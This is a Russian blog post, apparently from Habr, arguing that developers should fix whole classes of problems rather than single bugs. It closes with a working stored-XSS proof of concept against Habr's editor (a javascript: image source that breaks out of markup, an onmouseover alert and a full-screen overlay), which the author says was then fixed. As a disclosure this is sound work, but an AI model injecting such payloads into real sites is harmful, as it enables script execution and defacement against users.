Чем хороший программист отличается от плохого, или почему нужно выходить за рамки

Моя цель - предложение широкого ассортимента товаров и услуг на постоянно высоком качестве обслуживания по самым выгодным ценам.

Это будет моя самая короткая статья.

Когда-то я был молод и зелен и решал проблемы именно так, как их решают джуны. Алгоритм такой:

  1. Узнать о проблеме

  2. Локализовать проблему

  3. Загуглить проблему и решение

  4. Пофиксить проблему

Например: эксель-файл содержит ошибку, и поэтому не может быть обработан. Я открывал файл, редактировал проблемную строчку, закрывал файл. Проблема решена.

Или другой пример: не отработал скрипт из-за ошибки в коде. Чиню ошибку, скрипт начинает работать.

Прошло 10 лет... Алгоритм претерпел изменения:

  1. Узнать о проблеме

  2. Локализовать проблему

  3. Загуглить проблему и посмотреть много решений

  4. Понять, почему это произошло

  5. Понять, что нужно сделать, чтобы это не произошло снова

  6. Понять, что ещё затронуто проблемой

  7. Понять, где ещё потенциально могут возникнуть похожие проблемы

  8. Пофиксить проблему

  9. В зависимости от количества необходимых усилий, пофиксить всё сопутствующее

  10. Рассказать пацанам в слаке про свой фейл (== поделиться опытом)

Например: эксель-файл содержит ошибку, и поэтому не может быть обработан. Я открываю файл, разбираюсь, как проблемная строчка попала в него, пытаюсь сделать, чтобы она туда больше не попадала, ищу такие же ошибочные строчки в файле, ищу другие потенциальные ошибки, чиню файл сам или заворачиваю на доработку. Проблема решена - либо полностью, либо частично, но с полным осознанием это факта.

Или другой пример: не отработал скрипт из-за ошибки в коде. Разбираюсь, кто написал скрипт, почему писал ручками вместо того, чтобы вызвать какую-то команду для настройки и деплоя, где ещё подобные ошибки могут быть (и в этом проекте, и в проектах других клиентов), чиню и делаю всё возможное, чтобы это не произошло опять.

К чему всё это

Пожалуйста, не решайте конкретную проблему. Это никогда не работает. Оно сломается снова.

Решайте класс проблем. Выходите за рамки проблемы, ищите похожие, ищите связанные. Будьте ответственными и любопытными.

Иначе я так и буду находить XSS в тех же местах, о которых писал ранее.

Пейлоад тот же, что и в прошлой статье:

{
	"type": "persona",
	"attrs": {
		"inserted": false
	},
	"content": [
		{
			"type": "persona_image",
			"attrs": {
				"src": "javascript:\"></a>
                <div/onmouseover=alert('xss')>
                    <div/style=\"position:fixed;bottom:0;width:100%;height:100vh;background-image:url('https://c.tenor.com/GjsMO1r7HGMAAAAC/hyenas-lion-king.gif');background-position:center;background-repeat:no-repeat;background-size:cover;\">
                         &nbsp;
                    </div>
                </div>
                <!--<a",
				"class": "image image-persona"
			}
		},
		{
			"type": "persona_heading",
			"content": [
				{
					"type": "text",
					"text": "<-- Нажимайте сюда"
				}
			]
		},
		{
			"type": "paragraph",
			"attrs": {
				"align": null,
				"simple": false,
				"persona": false
			}
		}
	]
}

UPD. Разрабы Хабра после выхода статьи быстро пофиксили баг. По их словам, вопрос с валидацией в работе. Я не предупреждал о статье, но меня не забанили и отнеслись ко всему позитивно - за это респект.


Заходите в мою телегу: Блог погромиста. Это просто ссылка, не XSS :)

Только зарегистрированные пользователи могут участвовать в опросе. Войдите, пожалуйста.
Запилите нормальный редактор
80.95% Запилите нормальный редактор 17
71.43% Запилите нормальный редактор 15
66.67% Запилите нормальный редактор 14
Проголосовал 21 пользователь. Воздержались 3 пользователя.
Источник: https://habr.com/ru/post/656979/


Интересные статьи

Интересные статьи

Привет! Я Алексей Рыбаков, руководитель направления в Sber AR/VR Lab. И, прежде чем рассказать о том, что мы делали, нужно коротко пояснить смысл заголовка. А точнее – смысл слова «метавселенная»...
Доброго времени суток, дорогие любители науки!В этот замечательный день будет не совсем обычный пост, а пост - обзор на микроскоп. Но не обычный микроскоп, а походный мин...
В интервью на TED 2016 (14:10) Линус Торвальдс рассказывает о хорошем стиле программирования. В качестве примера приводит два варианта удаления элементов из односвязных списков (см. ниже)...
Мэттью Стэйматс тестирует разные маски. Источник: NIST Многие люди носят маски в общественных местах, чтобы замедлить распространение COVID-19, выполняя рекомендации центров по контр...
HR-специалист одной компании недавно сказал такую фразу: “разработчики не хотят к нам идти, как только узнают, что мы работаем по Agile”. И хотя я сам нередко слышу недовольство, высказываемое ра...